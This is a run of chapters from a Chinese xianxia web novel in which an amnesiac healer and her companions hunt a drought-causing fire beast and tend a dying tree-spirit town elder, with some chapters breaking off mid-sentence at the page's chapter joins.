那小修士生无可恋地昂起头,了无生气地嗯了一声:“您有什么高见吗?反正我写的都是垃圾,已经挂了几次了。” “……不是。”祈清和笑了一声,又指了指小修士身侧的书卷,柔声道,“我方才无意间瞥到了你的文章与身侧的几卷书,你想写辨惑背景,但却少了《紫清集》一书作参考。” 小修士大惊失色:“您是我连参详文献都用错了?” 祈清和委婉:“《紫清集》主内功基础,你……试试看?” 小修士手中法术一闪,匆匆翻出几卷书来,一页一页查看须臾后,不由得面色大喜。 “您人真好,肯定是个大学仙来着!祝道友一生平安功德无量,感谢!” 祈清和哑然,其实她也不清楚,自己求学问道是何模样。 她以前也在不问都当弟子吗?有没有挂过科?有没有为了学业焦头烂额? 她对此一无所知。 直至谢桓提醒,祈清和才随之离开此处,二人择了一处偏僻安静处坐下,只见谢桓颇为熟娴地选了几道小菜,回头对上祈清和颇有防备的目光,收起折扇,笑道。 “咳,首先让我从头开始坦白吧。” “我是谢家嫡系亲传弟子,当然不是出生就衔着金汤匙的那种,是幼时于流洲求学才得开蒙,后被谢家看上,收入二当家门下,嗯就是死在燕泽的那位。” 谢桓斟了杯茶,推给祈清和,祈和清没碰,只是继续听着。 “我和我师尊是半路弟子,他平时也不过问我功课,所以如你所见,我对他没什么感情,相反,正因为他的不闻不问,我自然也生了另寻师门的念头。” 祈清和联想到这趟航目的地,忽然道:“你不会是……” “嗯,我想拜入不问都已经很久了。” 见祈清和未喝茶,他叹一声,又微微仰头看起悬于墙壁上的菜品木牌,继续道。 “当然啦,考了两次都没考上,今年是第三次。” 祈清和眼眸中划过一丝疑惑,心中腹诽,你不是还摘得上届燕泽大比的探花么,连宗门都考不进? 对上祈清和不解的神情,谢桓朗笑起来。< 21.从善如流 《又梦见修真界的早死白月光》全本免费阅读 为首的修士吞咽一下,目光上下打量她一眼,疑惑道。 “道友,即是你同伴,你还任由他逃票上船?” 祈清和心中颇为无奈,她也没想到应知离竟真的这般固执,竟真跟了上来,此刻她解释不得,又不能当真划清干系放任应知离不管,只得解释。 “抱歉,我同伴鲜少出门,我替他现在补票,成么?” 这理由着实不够令人信服,检票修士狐疑,又不是稚子幼童,难道还不知钱物交换?银钱用法?不过他倒也没想难为人,既然会补票,多一事不如少一事。 于是检票修士从怀中掏出一个铜质机关,拨了两下:“行,但按惯例,得检查一下你同伴的通行文牒。” “……” 哪里有什么文牒!他就是个黑户! 祈清和难得棘手,犹豫不定,思忖要不要拿在辛夷坞时假造的文书搪塞,或者胡诌没带能不能蒙混过关。 她沉默不语正想着解决法子,却让检票修士疑心愈发浓重。 检票修士失去耐心,二话不说,正抬手准备指挥人将那鬼祟白衣带走,就见人群外,有一小道友踮着脚试图挤进来,一边推开人群一边对着检票修士连声道。 “师兄!师兄!” 那小道友好不容易挤进来,祈清和一看,正是方才在食肆那里碰见,哀嚎论述的宗门弟子。 只见这弟子向那检票修士虚行了个礼,凑过去低声道。 “这位姑娘方才帮助我,师兄能不能卖我一个人情,他们都是好人!” 检票修士神色松动了几分,再度抬目扫过眼前几人,又问道。 “你保证?” “我保证,师兄你放心吧。” 在小弟子竭力担保之下,那检票修士这才松了口,放了人,没再索要文牒,收下船票费用后,驱散了围观者,带着巡查沿着甲板踱步而去,拥挤的人群这才一哄而散。 危机终于化解,祈清和默默松口气,将应知离牵起来,转身向着那小弟子行礼致谢。 “不必不必。”小弟子连接摇手,解释道,“姑娘在课业上指点我迷津,此为恩,我方才出手相助,也只为还了这份恩。” 方才一直在旁围观的谢桓却又开了口:“你难道不担心我们是心怀不轨之人?” 小修士摸摸脑袋,不好意思道:“是有点点担心,但是我猜,姑娘应当也是不问都的学子,同门嘛,互相帮助应当的。” “什么?” 这话让祈清和惊了几分,她追问:“你为何如此猜测?” 小修士倒是成了二丈和尚摸不着头脑,大惊失色道:“啊,难道我说错了……?” 他扫了一眼祈清和目光,无端生出几分猜错的尴尬来,结巴解释道。 “姑娘方才让我所用的参考书录,是出自不问都前代掌门的著作,这书鲜少流通在外,多是宗内弟子修习使用,一向冷门,所以我才误会……” 小修士越说脸越红,太尴尬了,真的,难得仗义相助一次,还闹个乌龙。 逃了逃了,他要继续去补课业了。 他这般想,于是匆匆行了一礼,急急跑开了。 祈清和越听越怔愣,她其实也不知道自己为何会知晓此书,如同她莫名其妙会用剑,会行医一般,这些知识自苏醒后天然存在于她的脑海,无需刻意回忆。 如今被这么一说,她才顿然醒悟。 是啊,她为何会行医,为何会用剑,又为何熟知不问都的著作呢。 “祈姑娘原来是不问都弟子么?”谢桓摇着扇悠悠道,“算了也别在这儿干站着,我点的仙露茶玉芳糕!已经摆在那儿很久了。” 于是三人又回到原先食肆方桌处,谢桓将方才小插曲抛之脑后,一边品茶食糕一边围观这位在燕泽就颇为神秘的白衣公子。 他主动搭话:“我记得你姓应?应道友?算了你想吃什么自己点吧,别客气。” 应知离微微歪头,似乎理解了一会儿这话,回答:“我能点份青团么?” 谢桓非常爽快地答应了。 应知离随着祈清和一道坐下,此刻却分外苦恼,垂头向着祈清和道歉。 “抱歉。”他声音沮丧低沉,“我给你添麻烦了。” 祈清和没回答这句话,只是将随身的药箱放在方桌的角落处,从箱中一木屉里取出膏药,纱布,头也不抬地说道。 “手。” 应知离从善如流,乖乖将手伸出去,搭在桌上。 皓腕上布着一团骇人乌青。 是方才那些人怕他逃,用了灵力,以狠劲儿禁锢他,留下的伤。 祈清和撩开他腕处袖衫一路往上检查,只见紫黑淤青斑驳,其实对修士而言,跌打损伤都是家常便饭,这种小伤实在不值一提。 可一想到眼前这人看似疏朗气清,不开口时莫测高深,实则温和良善,毫无自保之力,祈清和眉心一蹙,莫名带了点情绪,手中敷药的力道就重了几分。 “……” 有点疼,应知离默默将疼咽回去,垂着的眸子悄悄抬起来,仔细地看着她。 “你有什么想交代的么?” 祈清和决定给他一个机会,让他讲清楚,他是怎么从沈家跑出来,又怎么胡作非为上了船。 一只手的伤很快处理好了,祈清和瞄了他一眼,应知离迅速理解其间含义,又换了另一只手伸出来,依旧是淤青遍布。 这话像质问,应知离小心翼翼判断,她好像,是生气了。 可明明是她抛下他不管。 应知离抬起头,又仔细去分辨她的情绪。 只见水色青衫的祈清和专心处理他的伤处,偶尔抬头时,眸光如浩瀚流波,盈盈生辉,不再是他记忆里文书阁时洇染了哀伤的模样。 说不清是药的缘故,还是她眼里藏起的情绪,应知离只觉得,连身上的伤,都飘远了,唇畔不自觉扬起笑意。 于是他自然而然答非所问:“你生气的时候,很好看。” 祈清和眉梢一挑,正在系纱布的手陡然一紧,勒出一道不轻不重的红痕,幽幽抬起眸,神色冰凉,她哂笑道。 “我生气,你似乎挺高兴?” 应知离茫然。 祈清和笑了一声,用剪刀绞断纱布,处理好淤青,她收起药箱,只见方才应知离点的一盘青团被人端上来,飘着清甜温热的青艾香气,谢桓眼神一亮,拾起筷子跃跃欲试。 只见应知离非常理所应当地,将那几枚青团推到了祈清和面前,用期待的目光望着她。 “你尝尝。” 谢桓目瞪口呆,油然生出满腔腹诽。 这是我付的钱对吧!我应该有资格尝一尝对吧!哇你用我的钱点餐然后对姑娘示好,救命,看不下去,我要告到仙盟!我要告到仙盟! 谢桓装死趴在木桌上,幽怨的情绪如实质化般凝在空气中。 呵,已被气饱了呢。 青团下垫着艾叶,浮着几缕热腾腾的白烟,祈清和筷子夹过一枚,剩下的全部推回 22.有凶名犼 《又梦见修真界的早死白月光》全本免费阅读 “怎么回事。” 谢桓心有余悸地从雷击掀起的硝烟沙石中走出来,皱着眉头咳嗽,手中折扇虚虚在空中挥了几下,用法术驱散了空气中扬起的尘埃,又回头去寻祈清和。 方才那声雷轰太响,炸得他耳根嗡嗡作痛。 祈清和双耳方才被应知离捂着,此刻全然无事,她走到碎成残渣的牌坊前,打量环顾了一圈,进镇的主路因这一雷击彻底被封死,连周围房屋都摇摇欲坠,不能用法术强硬破开阻碍,会引发二次震动致使更多坍塌。 “绕路吧。”祈清和蹙眉道。 “啧,炸成这样,也不知道镇里是什么光景。”谢桓拍了拍身上尘土,重新掏出罗盘。 黝黑的夜色里实在难行,谢桓的罗盘却像失灵了似的,带着三人七拐八绕,来到一处林场,其实很难称得上“林”,因为没有丝毫绿色,枯死的树木在干裂的焦土中东倒西歪,宛若挣扎。 “什么鬼地方……”谢桓有些烦躁。 “你说对了。”祈清和从芥子囊中取出一颗夜明珠,小小珠子里霎时亮起煞白的光,照亮黑暗。 只见一片死寂惊悚,乱七八糟的枯枝焦土中,垒着一个又一个土包,土包前还垒着一小方石碑,阴森骇然。 “这里确实是‘鬼’地方。”祈清和叹气。 谢桓蓦地睁大了眼睛,他此刻终于明白,这哪里是什么“林场”。 这是……坟场! 那该死的罗盘竟把他们引到了青道镇墓地! 在凄凉惨然夜色间,罗盘又响起一道突兀声音。 【已为您规划最优路线,前方三百丈后到达目的地。】 ? 谢桓目瞪口呆,险些抓狂,最优路线?目的地?墓地吗? 这罗盘是黑白无常还是判官阎王转世吗?阳间路是一点都都不指啊。 祈清和却半蹲下身,指尖轻轻拂过干燥龟裂的土地,问道。 “青道镇附近明明有河流有水源,但无论是方才牌坊大道亦是此地,土壤都呈皲裂干涸之状,这不像正常现象。” 顿了顿,思索须臾,她又道。 “妖?旱魃?” 应知离扫了一眼周遭,轻轻摇头。 “都不像,没有妖气,只是……普通的干旱。” 祈清和舒一口气,不是旱魃就好,那妖兽所至之处必逢大旱,凶恶难杀是其次,最棘手的便是旱灾所造成的人间作物锐减,饿殍遍野,瘟疫横生。 “走吧。”她站起身,指尖化出一道符箓,那符箓金光一闪,绕着三人飞了一圈,敛去了生人气息,叮嘱道,“别出声,应当不会有大问题。” 三人就这样屏气凝神向前走着,夜风骤至,砭人肌骨,死掉的树木仰头伸着干枯锋利的手,在黟然槁木间,显出重重半悬的黑色影子。 有什么东西,挂于树枝上,随风微微晃动。 祈清和心中将魑魅妖鬼猜了一圈,稍抬起拿夜明珠的手,借着光,想看清那重重黑影,同时于袖中滑出一纸驱邪符箓,负手凝神施法。 忽而,一阵林梢震荡,栖在树间的影子遽然惊起,振翅纷纭而飞,连绵如云。 只是乌鸦而已。 祈清和吊着的心稍稍放下。 可下一瞬,林间枝桠晃荡,树梢处忽然显出上百道长条黑影,悬空不坠,末端轻飘飘荡着细丝。 祈清和倒吸一气,她可算知道为什么方才会有那么多乌鸦!也知道这些黑影究竟是什么了! 尸体!本应躺在墓地里的尸体全部挂在了树梢上! 那坠下随风而荡的细丝,是这些尸体的头发! 怎么回事?祈清和脑海飞速思考,面上不动声色,一如方才定气凝神而行。 所幸这些尸体并无意识,亦无被操控之状,只是安静地倒挂于树上,以一种骇人之状“盯”着他们从这尸林中穿行而过。 这片坟场并不大,走了一刻钟多的时间,终于看到青道镇鳞次栉比的屋檐,华灯照着一小片明亮暖意,蜿蜒出一路平整的街巷。 就在所有人心中一松,即将走出这片尸林之际,谢桓手中一直捏着的罗盘陡然发光,震了几下,传出一道响亮又昂扬的声音,在一片死寂中显得格外突兀。 【检测到目的地已在您附近,步行导航结束,祝您的旅途充满希望,加油!】 …… 谢桓崩溃。 此时在三人身后,原本闭目不动的上百尸体,陡然间齐刷刷“睁”开了眼睛。 这片尸林,被惊醒了。 “快走!”祈清和冷声,收了夜明珠,拉着应知离就往青道镇那条大道街巷疾步跑去。 谢桓愈发崩溃,他后退一步,手持折扇打出一道法印,而后转身跟着二人一起向前跑,同时心中止不住愤怒抹泪。 什么垃圾罗盘,他怕不是买到了假冒伪劣! 差评!投诉!退货! 原本悬挂在树上的尸体被这法术一打,竟纷纷掉下树,而后摇摇欲坠站起来,又因法印迷失了方向,蹒跚着胡乱行走。 祈清和往后瞥了一眼,却反身停下了脚步,不行,不能让这群僵尸误打误撞进镇,否则必然殃及他人。 她站定,甩出袖中几张驱鬼逐邪的符箓,施法正欲起阵。 忽然一柄长剑迎风而来,擦着三人刺进地面,形成一道太极印,其中心蔓延出蓝紫色的电光,一路霹雳着形成一道巨大的道炁结界,将所有僵尸困在枯林间。 祈清和回头,只见高墙屋瓦之上,立着一位松烟黑衣的青年,圆领薄衫目光锐利,见僵尸已退,他从檐上轻跃而下,朝着三人施然行礼。 “不问都,常夜。” 方才茫茫黑暗看不清晰,眼下距离近了,祈清和这才发现。 ——这不正是此前在踏云楼船上,和无情道论题斗智斗勇的小修士? 然而,比起见到萍水相逢之人,更为让祈清和怔愣的,是响起在她神识中,来自小梦的声音。 「检测到心魔患者,已触发诊疗任务:渡化常夜心魔。」 「任务奖励:玉简八十六号。」 压着无垠夜色的宿云悄然散去,浸染了溶溶月色,映在祈清和身上,仿佛披着一层霭霭浮光,她神情无兴无悲,只是以陌生的目光审视着常夜。 常夜面色遽变。 他心里一乱,不由自主地上前一步,想更看清眼前青衫女子,可是,却不得不停住脚步。 < 23.长藤道人 《又梦见修真界的早死白月光》全本免费阅读 听到“犼”这个字时,常夜的面色僵了僵。 “哦我知道这种凶兽!”谢桓感叹一声,接话道,“以前在缙山时,常有犼妖侵扰,特别难缠。” 祈清和瞥了常夜一眼,问道:“你来青道镇,是察觉到了犼妖的存在?” 常夜沉吟片刻,点了点头:“其实是返宗前,顺道来青道镇买点青团,谁知刚进镇,就遇上了犼妖出没,我与它一路缠斗,却还是被它逃了。” “等……等一下!”谢桓恍然大悟似的想到了什么,“青道镇镇门的那牌坊,不会……不会是你劈的吧?” 常夜踌躇了一会儿,仔细想了想,犹豫道。 “应该……是我无意中劈倒的。” “……” 谢桓睁大了眼睛,满腔无语凝噎不知从何讲起,连空气都尴尬了一瞬。 幸好,这份不自在没持续多久,门吱呀一声被人用身体推开,婶娘乐呵呵端着矮脚案盘进来,将吃食一一放在桌上。 一小盘油绿如碧的青团,热气腾腾,还未上桌,青艾与糯米的香气就不知不觉熨贴了众人因受惊而绞紧的胃,谢桓正要感叹,就见除了青团,婶娘还备了四碗米粥。 “谢谢阿婶!”他笑眯眯地向着婶娘道谢,起身帮婶娘将青团和米粥一一放在桌上。 米粥是用制作青团时多余的青艾煨的,祈清和用勺子一拨,底下还埋着几颗枸杞和红枣,她搁下勺子,眼睛一眨,仰起头,问向婶娘。 “我能去看看长藤道人么?” 婶娘听得这话,犹豫了一下,又见眼前的女子医师大半,气度不凡,最终点了点头,叹气道:“你随我来吧。” 一旁的谢桓正叼着半个青团,愣愣地抬起头,随即也想起身跟着走。 他还没忘这是他的任务。 祈清和检查了一遍药箱,调侃道:“不必,诊金,以及所需的药材,谢小公子想办法付钱及寻齐就行了。” 说罢,她背上药箱起身,跟着婶娘推门而去。 坐了一会儿,三个人相觑,应知离一直低头喝粥一声不吭,终于再坐不住,也跑了。 谢桓默默开始扒拉自己身上还有多少天昭铢钱。 祈清和在婶娘的带领下走进长藤道人躺着的房内,见到床上安详沉睡的老者后,愣了一下。 无他,眼前的病者……实在是太过垂垂老矣了。 须发皆白,肌松肤弛,光阴的结束仿佛在他身上实质化,一个正常人类蹒跚着走尽一生后,油尽灯枯,必然所面对的死亡。 祈清和眉梢微蹙,她平静地坐在床边,轻轻将老人家交叉叠放的一只手翻过来,三指切脉,感触到长藤道人缓慢的心率。 这位老人正在走向他生命的终结。 推开又阖上的门卷进了一缕风,微凉,轻轻掠过床前,将沉睡的长藤道人,唤回了意识。 他疲惫地睁开眼睛,浑浊蒙着白翳的眼珠动了动,笑了。 “你是不是……月丫头?” 祈清和没有接话。 长藤道人的脉象接近虚无,五脏六腑濒临衰竭,经脉中流淌的气息很淡,但是她还是隐隐捕捉到了一部分与常人的异常。 不是灵力,是妖气。 这位长藤道人,并非人类。 “月丫头,你……好久没来了。” 见祈清和没有回答,长藤道人缓缓深呼吸一口气,攒了攒气力,又开口。 “是不是?我做的青团,没了以前的手艺了?” 祈清和拂开搭脉的手,叹气道。 “我不是‘月丫头’,道人,您认错人了。” 她不记得自己见过这样一位老者。 不过也是,祈清和哂笑一声,她什么都不记得。 如果顺着长藤道人的话回应他,她总有种,冒名顶替了他人的身份的错觉似的。 “您唤我祈大夫就行。” 长藤道人的眼中滚过一丝失落。 他勉强地笑了笑,笑容虚弱疲累,沙哑着声音道。 “是我老糊涂了,连人都认不出啦,抱歉,祈大夫,您是修士?仙人?能不能拜托你一件事……” 祈清和轻声道:“您说。” 长藤道人舒然哀求:“我在这里当镇长,也有四五百年了……唯一放心不下的,就是青道镇的镇民们,您,仙人自有慈悲心,能不能……帮我照看一二?” 祈清和沉默不语,坐了一会儿,才站起身,走到床畔边的一张书桌前,擦亮了案上旧油灯,荧荧火苗跳跃,借着昏黄微光,她摊开一张薄纸,抬手写下药方。 “别担心,我在开药呢,您好好休息。” “好,好……我会再坚持……” 祈清和停笔,等了一会儿,没再等到回应,她搁了笔,重新走回床前。 长藤道人已经阖上眸子,再度陷入安详睡梦中,呼吸很浅,很缓。 祈清和微微一叹,悄声推门而出。 刚一出门,就冷不丁被抱膝坐在门外石阶处认真戳毛毡的白衣青年吓了一跳。 应知离听见脚步声,收起手中毛团,仰头望向她,眼睛眨了眨。 “常夜离开了,说是要去找犼妖,谢桓他……” 话未说完,只见一位身着紫衣的小公子急急忙忙从不远处赶来,讨饶般笑道。 “我方才帮阿婶收拾碗碟去了,怎样?长藤道人病情如何?需要什么天材地宝你尽管开口,只要不是那种稀世奇珍,别的我都能想办法。” 祈清和将手中药方递给他,谢桓大喜,小心翼翼接过药方定睛一看,面上的笑意却敛住。 没有想象中一连串的名贵药名,甚至连最普通的药材都没有,空旷整洁的纸张只写了短短一个字。 ——犼。 “这是……?”谢桓不解其意,愣愣地抬起头。 “谢小公子。”祈清和正色,直白道,“长藤道人并非人类,而是一树精化形,他的原身大抵是镇上的一株树。” “所以,为何药方是犼呢?”谢桓对妖兽没什么偏见,长藤道人又非凶兽,亦不作恶,庇佑青道镇上千年,自然是尽全力救治。 “长藤道人的脉象与其说是长病不起,倒不如说是妖气干涸。”祈清和叹气,“还记得我们最开始碰见的干裂墓地么?” 犼妖入侵,以火驱散雨云,青道镇数月颗雨不落。 树最怕的,不就是干旱吗? 谢桓如梦惊醒般明悟其中含义,不自觉接话道:“所以我们铲除犼妖,令青道镇重新有水源泽被,长藤道人就会好起来?” 祈清和沉默半晌,没有回应谢桓的话。 事实上,她不知道该不该告诉谢桓实情,犹豫片刻,蹙着的眉微微淡开,她轻声,一字一句道。 “长藤道人本体并非什么古树,他能活至如今,已是长寿,哪怕没有犼妖 24.荏苒仓皇 《又梦见修真界的早死白月光》全本免费阅读 天际的闷雷火云焰起三天三夜。 腾空上下,火光丈余,雷轰电射,直至第四天,有一金黄色,形貌似马,约有一二丈妖兽影子显了一下,随即,便听得“哎呦”一声,一位紫衣公子踉跄一下,从翩然云端摔了下来。 祈清和从熬药的屋中出来时,看到的便是谢桓坐在地上,呲牙咧嘴捂着头。 她给长藤道人又开了副养神定心的药方,药材不贵,这几日婶娘日日煮了药让长藤道人服下,长藤道人倒真的恢复了些许精神,多得几个时辰的清醒。 “你输了?”祈清和抬头望了眼天际,刺目的光让人眯了一下眼睛,层云还再滚,应当是斗争厮杀仍未结束。 “疯子,都是疯子!”谢桓爬起身来,拍了拍因烧焦而狼狈的一身锦衣,气愤道,“我上去时,那个叫常夜的道友已经和犼妖厮杀了起来,三清在上,我第一次见除妖除的这般凶狠的。” “那常夜道友打得有几分吃力,哦还不要命,我就寻思着上前帮他一把,两个人合作总比一个人孤军奋战来的轻松不是?” 谢桓拍了身上焦灰,又从衣中掏出一方手帕去擦脸,一擦,抹下厚厚一层黑灰。 “谁知那常道友二话不说,连着我一块儿揍!他跟我有仇吗就揍我!你看到我身上这般狼狈了对吧,谢谢有一大半都是常道友劈的呢。” 他擦脸擦了半天,帕子都脏了,脸上还是蒙着一层不干不净的薄灰,只得悻悻作罢。 “然后,不知是谁的法术,威力强了点,波及到我,一个没留神,就摔了下来,等我收拾一下再上去打个不死不休。” 谢桓收起手帕,气势汹汹,作势再以轻功腾云离去之时,一句轻飘飘的疑惑却打断了他的动作。 “你是谢家人,为何不知如何降犼?” 说话的是应知离。 他正倚坐在一木树桠间,慵懒随意,如果这棵树没有因缺水而枯死,本应有重重繁茂的树荫遮蔽天光,他半躺在树上也应更加闲适自在。 谢桓莫名其妙:“我为什么会懂得降犼?” 应知离从树梢轻跃下,无辜地眨眨眼,说道。 “谢家尤善驭兽,曾在六百多年前,率门下弟子驱使犼妖,平息了九重渊的骊龙暴动一案。” 他微微打了个哈欠,揉了揉眼,神情显得非常温和无辜。 “所以我以为谢家人人皆会驭兽。” 祈清和惊讶,抬手幻化出灵镜翻阅查询,一瞧,还真是,好奇道:“咦还有这种事呢。” 驾驭犼妖平息骊龙暴动,可谓谢家卓越辉煌成就中相当精彩的一笔,声名远扬,也让四海十洲修士降妖除魔另辟一道蹊径。 谢桓终于明悟应知离的意思,解释道:“确实如此,你不提我都忘了,但我对驭兽不感兴趣,没学,还是喜欢冷兵器。” 天际的金蛇火光仍久久不散,一下一下声声震响,祈清和蹙眉望了一会儿,从芥子囊中取出两张符箓,说道。 “这是我自己画的两张水符,效果还不错,那犼妖属火,此符说不定能襄助你一二。” 谢桓朗笑,礼貌接过了符箓,恭敬施礼客气道:“多谢多谢,那我这就再去了,此番任务历练邀请祈姑娘一道前来,实在是受益匪浅。” 只见谢桓敛了笑意,眉目从容,俊俏潇洒的气度倒不像是去斩妖,倒像一位风流贵气的小公子,翩然出行,游街赏景。 当然,忽略他脸上身上一身的黑灰的话,就更像了。 小公子轻功腾云而去,随后,天际遥遥劈下一道闪电。 “天杀的常道友你别再劈我了——” …… 第五日,连日枯水的青道镇,落了雨。 细雨。 淅沥弥天,倾坎洒野。 陆陆续续有镇民从房间内走出,先是茫然,直到绵密甘霖纷漠而落,落得个衣衫潮湿,水珠顺着发梢往下淌,人群才喜悦起来,须臾,长街喧腾。 一只犼妖当空堕下,落在长藤道人家的小院中。 金黄毛发,毛中长着鳞片,似马似鹿的模样,胸口被一柄长剑狠狠贯穿,鲜血淋漓,已是没了生息。 “原来是只幼犼。”祈清和半蹲下查看了一番,笃定道,“若是成年犼,只怕你们不死也要重伤半残。” “这么凶残的吗?”谢桓气喘吁吁,神色震惊。 “一犼可斗三龙二蛟,不是闹着玩的。” 祈清和认真回答,站起身,身后的应知离撑着一柄附了避水诀的油纸伞,将两个人稳稳当当罩住,没挨到一丝雨幕。 “那现在怎么办?”谢桓用手来回比划了犼妖的大小,这居然只是只幼兽! 祈清和想了想:“先带走吧,取出内丹,然后再和常夜道友讨论怎么处理。” “好嘞。”谢桓挺高兴,扛起犼妖兴致勃勃地往后院空旷处而去。 今日长藤道人的药还没熬,祈清和仰头望了眼银雨潇潇,转身拾阶正欲离去。 “姑娘。” 一道急切,陌生的声音,牵住了她的脚步。 祈清和回眸。 玄衣劲装,乌发高高竖起,金色的发带在风雨里飘摇,同样一身狼狈的常夜从雨幕中走来,轻声唤住了她。 “姑娘。” 那声音又唤了她第二遍。 只见常夜急匆匆两三步走来,临近了,却又缓住了步子,迫切道。 “方才在与犼妖交缠之时,那谢桓用了两张召水符,我问他,他说,是出自姑娘手笔。” 祈清和有些茫然,不明白他发问的缘由:“是,有什么事吗?” “姑娘姓祈?”常夜追问,不确定似的,又补充了一句,“冒昧询问,姑娘家住何方?师从何人?” 仿佛调查户帖信息似的,祈清和有些恼意,她自己都不知道,哪里能答得上来,于是语调也冷了几分。 “祈清和,散修,走访游医不足挂齿。” “祈姑娘不修剑吗?”他执着问道。 祈清和瞥了他一眼,是真的有些不悦了:“略通一二,但并无兴趣,常道友若只是来探寻我私隐,那就告辞了。” 她说罢,转身踏上台阶,走进回廊,往客房的方向走去。 “等等!”常夜一着急,失态般跌跌撞撞走了几步,在雨里站得久了,腿不自觉发麻,衣衫,发丝,都淋了个彻底。 祈清和稳住耐心,停下来,不说话,只是用平静的目光等着他。 “……抱歉。” 常夜对自己一身湿漉恍若未觉,只能道歉,想说旁的,却怎么都开不了口,他怕心中藏着的话说出来,会更加惹恼了眼前的青衫姑娘。 我只是误以为…… 荏苒仓皇,回首时,重见故人。 话在嘴边滚了几番,终究是,咽了回去。 祈清和轻轻叹气,不再留恋,拂袖离开。 推开房门时,长藤 25.方壶不问 《又梦见修真界的早死白月光》全本免费阅读 没有生灵可以违拗生死。 谁也不例外。 屋外传来隐隐哭声,混在雨里,分不清,风一动,一片枯叶凋零,埋入泥土。 长藤道人躺在床上,安详宁静,唇边有一抹似有若无的笑意,像是睡着了,遇见一场好梦。 可祈清和再听不见他的脉搏与呼吸。 她至今也不知长藤道人的真身是哪棵树,这镇上枯死的树木太多了,连寻找,都无从寻起。 行医,无非是,观尽生死。 见得太多,只剩下了沉默。 明暗不定的房间里,祈清和忽然感到身后亮起一抹光,她回过头,只见应知离手中,浮着一团小小的,洁白的,云一般的梦。 “这是长藤道人的梦。” 应知离解释道,随后,他一抬手,那团云幽幽荡荡地飘在了祈清和眼前。 “他这几天,常常做梦,于是我悄悄留了一小片下来。” 望着这一小团白云悠然自得的姿态,祈清和喃喃道:“是好梦呢。” 应知离笑:“是一场好梦,我想,你可以想看看这片梦。” 于是祈清和伸出手,轻轻地碰了一下这团仿佛棉花似的云。 她阖眸,再睁开时,已经不是方才细雨蒙蒙,昏暗潮湿的房间了。 天气放晴,阳光明媚,她站在青道镇的长街上,摊贩络绎,吆喝不绝,一派繁华。 “月师姐——” 祈清和顺着人流漫无目的地向前走,一路过去香饮贩花、炊饼茶肆前聚着不少身着道袍,腰佩长剑的修士,生机勃勃的喧嚣热闹,欣欣向荣。 “月师姐——” 直到有人拉住了她,祈清和才恍然惊觉,这人口中的“月师姐”,是在喊自己。 拉住她的是一位只有七八岁模样,玄衣黑发的小男孩儿。 小孩儿仰着头,肤色白皙,可爱伶俐,长长的头发高高挽起,金色发带随风晃动,他追过来,用一双人畜无害水灵灵的眼睛认真地望向她。 那是一双非常罕见特别的,金色的眸子。 “师姐,你怎么走远了?长藤道人的点心摊肆在那边。” 小孩儿容色实在乖巧,一笑,脸颊处浮出一对浅浅酒窝,任谁见了,都得放下几分戒备。 于是祈清和跟着小孩儿的步伐,向着长藤道人的糕点摊走去。 长藤道人的糕点摊很小,却简单干净,一柄宽大的棕油纸伞罩着,一辆可推行的小木车,几张竹椅凳,车上摆着蒸屉,面粉垫、一束青艾挂起来,旁边有个小炉子,温着粥,热气汩汩。 “月丫头?好难得,今天不是不问都休沐的日子啊,哎呀这个小鬼头是谁?” 祈清和怔住。 眼前的长藤道人非常年轻。 没有什么鬓发皆白将行就木,俊朗的年轻人高大健壮,穿着粗布麻衣,腰系围布,他神采奕奕,看起来轻松愉悦。 “什么小鬼头!我是月姐姐的师弟!”小孩儿非常不满,认真地强调。 “哈哈哈哈好,那这位小师弟想吃什么?青团花卷儿艾草粥都有。”长藤道人乐呵呵地招呼着。 “唔……我想想,月师姐喜欢的!我也要一份一样的!”小孩叉腰垫着脚,理直气壮道。 “行,那就一盒红豆青团,一碗青艾粥,再来一小碟枣夹核桃。”长藤道人娴熟地用镊子夹出几个青团,盛在碟里,又从炉子里舀了粥,埋了红枣核桃,笑眯眯端给小孩儿。 “拿稳了哦。” 有些沉,小孩儿端起来有些吃力,祈清和想去帮他,小孩儿却很固执坚持,摇摇晃晃端举着一托盘,将它放在一旁的矮竹桌上,亮晶晶地眼睛一眨一眨。 “师姐!你先吃!” 祈清和顺势坐下,她接过小孩儿递过来的竹筷,夹起一枚青团,刚出炉的青团还冒着热气,措不及防,熏了一下眼睛。 她本能地闭上眼。 再睁开眼时,她仍在坐在明暗交织的房间内,窗外飘着细雨,长藤道人阖眸躺在床上,再也不会苏醒。 这个梦消散了。 祈清和微微垂眸,神色平静,没有悲喜,甚至连触动都没有,长藤道人所说话,梦里的故事,她一句,也记不起。 她只是觉得陌生。 “我不止一次地想过,是不是长藤道人认错了人,是不是燕玉真认错了人。” “小梦交给我,玉简上与我相似的字迹,会不会也是一场巧合。” 祈清和缓了缓,轻声一叹。 “他们认识我,记得我,但又以一个陌生的名字称呼我。” “我却对此一无所知。” 这太割裂了。 祈清和忍不住想,就像通俗话本里的桥段,她无意中顶了另一个人的身份,像个小偷似的,承接了这个人所拥有的尘世羁绊,他人心念一牵一动,情绪奔涌,她只是无动于衷。 “那你还要继续寻找这个名字吗?” 应知离问道,他手心的梦化作一缕雾,烟消云散。 “继续吧。”祈清和笑了笑,回眸望向他,说道,“除此之外,我没有别的线索了。” 化解常夜心魔的那个任务,她还没有做。 那位道友这几日一直在与犼妖厮杀,所以祈清和也自然没有空闲,去探听他的梦。 可常夜看起来理智冷静,周身也并无魔气,是心魔并不严重?还是她遗漏了什么? 就在她出神之际,婶娘及几位村民悄悄推开门进来了,他们红着眼,收拾长藤道人的东西。 祈清和怔愣,忍不住想,这些镇民知道他们的镇长,是树精么? 他们爱戴他,敬仰他,将他视作青道镇的一份子,会为他的离世悲痛欲绝嚎啕大哭,这个时候,镇长是人或非人,就都不重要了。 祈清和站起身,不打扰镇民为长藤道人处理后事,她垂眸平静地走出门,迎上谢桓急匆匆的身影,一问才知,常夜没要犼妖身上的任何一件东西,而是直接返回不问都了。 “你的任务,算不算失败了?”祈清和疑惑。 谢桓愣了一下,回答:“应该是,不过还是得去不问都一趟,把事件始终汇报一下。” “对了,还没来得及感谢祈姑娘。”谢桓郑重地,向祈清和深深行礼,“这次青道镇之行,多亏祈姑娘襄助,不然我怕还是得经历多番折腾。” 祈清和微微摇头:“其实……我也没做什么。” 连一条命,都救不回来。 谢桓起身,正色道:“祈姑娘接下来如何打算?之前承诺过,祈姑娘若有任何困难,谢某定当尽全力帮忙。” 这一问,祈清和倒真想起来一件事。 此前在辛夷坞得知,她曾被抓进过无患塔,在里面被困五年,而有关无患塔活人蛊的试验文书被沈家一应销毁,线索也就断在了这里。 而在燕泽城一案中,她又意外得知,谢家也曾参与活人蛊试验。 